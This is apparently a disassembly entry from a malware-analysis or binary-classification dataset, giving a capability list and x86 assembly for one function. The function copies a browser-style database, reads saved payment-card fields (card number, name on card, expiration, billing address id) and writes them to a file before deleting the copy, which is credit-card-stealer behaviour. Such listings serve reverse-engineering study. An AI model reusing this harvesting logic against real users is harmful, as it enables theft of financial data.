Function at 0x402fbb
Capabilities:
Copy file
Delete file
Get common file path
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2e1c
call fcn.0055bc20
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x2e0c], ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x2e18], eax
mov dword [ebp - 0x2e14], ecx
cmp eax, 0xffffffff
jne 0x402ff9
xor eax, eax
jmp 0x403302
mov edi, 0xfff
xor ebx, ebx
push edi
lea eax, [ebp - 0x1e07]
push ebx
push eax
mov byte [ebp - 0x1e08], bl
call fcn.0055bfc0
add esp, 0xc
mov esi, 0x2ff
push esi
lea eax, [ebp - 0x307]
push ebx
push eax
mov byte [ebp - 0x308], bl
call fcn.0055bfc0
add esp, 0xc
push esi
lea eax, [ebp - 0x607]
push ebx
push eax
mov byte [ebp - 0x608], bl
call fcn.0055bfc0
add esp, 0xc
lea eax, [ebp - 0x608]
push eax
push 0x300
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x308]
push eax
push ebx
push ebx
push 0x8005
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x5d3ac8
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
lea eax, [ebp - 0x308]
push eax
push dword [ebp - 0x2e0c]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push edi
lea eax, [ebp - 0x2e07]
push ebx
push eax
mov byte [ebp - 0x2e08], bl
call fcn.0055bfc0
add esp, 0xc
mov esi, 0x3ff
push esi
lea eax, [ebp - 0xe07]
push ebx
push eax
mov byte [ebp - 0xe08], bl
call fcn.0055bfc0
add esp, 0xc
push esi
lea eax, [ebp - 0xa07]
push ebx
push eax
mov byte [ebp - 0xa08], bl
call fcn.0055bfc0
add esp, 0xc
lea eax, [ebp - 0x2e0c]
push eax
push 0x5d3acc
mov dword [ebp - 0x2e10], ebx
call fcn.0045c9e2
pop ecx
pop ecx
test eax, eax
jne 0x4032dc
push ebx
lea eax, [ebp - 0x2e14]
push eax
push 0xffffffffffffffff
push dword [ebp - 0x2e14]
push dword [ebp - 0x2e0c]
call fcn.00443427
mov esi, dword [ebp - 0x2e14]
add esp, 0x14
test eax, eax
jne 0x4032c9
jmp 0x4032b9
push 4
push esi
call fcn.00422df1
pop ecx
pop ecx
mov edi, eax
push edi
push 4
push esi
call fcn.00422eb7
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x1e08]
push eax
call fcn.0055bc50
add esp, 0xc
push edi
lea edx, [ebp - 0xa08]
lea ecx, [ebp - 0x1e08]
call fcn.0040358e
pop ecx
test eax, eax
je 0x403262
push 1
push esi
call fcn.00422f0f
pop ecx
pop ecx
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0xe08]
push edi
push eax
call fcn.0055a952
add esp, 0xc
push 1
push esi
call fcn.00422eb7
pop ecx
pop ecx
push eax
lea eax, [ebp - 0xe08]
push eax
lea eax, [ebp - 0xa08]
push eax
push ecx
push 9
push esi
call fcn.00422eb7
add esp, 0xc
push eax
push 8
push esi
call fcn.00422eb7
pop ecx
pop ecx
push eax
push ecx
push 7
push esi
call fcn.00422eb7
add esp, 0xc
push eax
push 6
push esi
call fcn.00422eb7
pop ecx
pop ecx
push eax
push ecx
push 5
push esi
call fcn.00422eb7
add esp, 0xc
push eax
push 3
push esi
call fcn.00422eb7
pop ecx
pop ecx
push eax
push ecx
push 2
push esi
call fcn.00422eb7
add esp, 0xc
push eax
push ebx
push esi
call fcn.00422eb7
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x2e08]
push str.guid:__s_r_nexpiration_month:__s_r_nexpiration_year:__s_r_ndate_modified:__s_r_norigin:__s_r_nuse_count:__s_r_nuse_date:__s_r_nbilling_addres_id:__s_r_ncard_number:__s_r_nname_multibyte:__s_r_nname_on_card:__s_r_n_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x34
lea eax, [ebp - 0x2e1c]
push ebx
push eax
lea eax, [ebp - 0x2e08]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x2e08]
push eax
push dword [ebp - 0x2e18]
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc dword [ebp - 0x2e10]
mov edi, 0x1000
push edi
lea eax, [ebp - 0x2e08]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
push 0x400
lea eax, [ebp - 0xa08]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
push 0x400
lea eax, [ebp - 0xe08]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
push edi
lea eax, [ebp - 0x1e08]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
mov dword [ebp - 0x2e1c], ebx
push esi
call fcn.00422ae4
pop ecx
cmp eax, 0x64
je 0x403140
push esi
call fcn.004222e8
pop ecx
push dword [ebp - 0x2e0c]
call fcn.0045b331
pop ecx
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x608]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov eax, dword [ebp - 0x2e10]
add dword [0x5e9a44], eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
leave
ret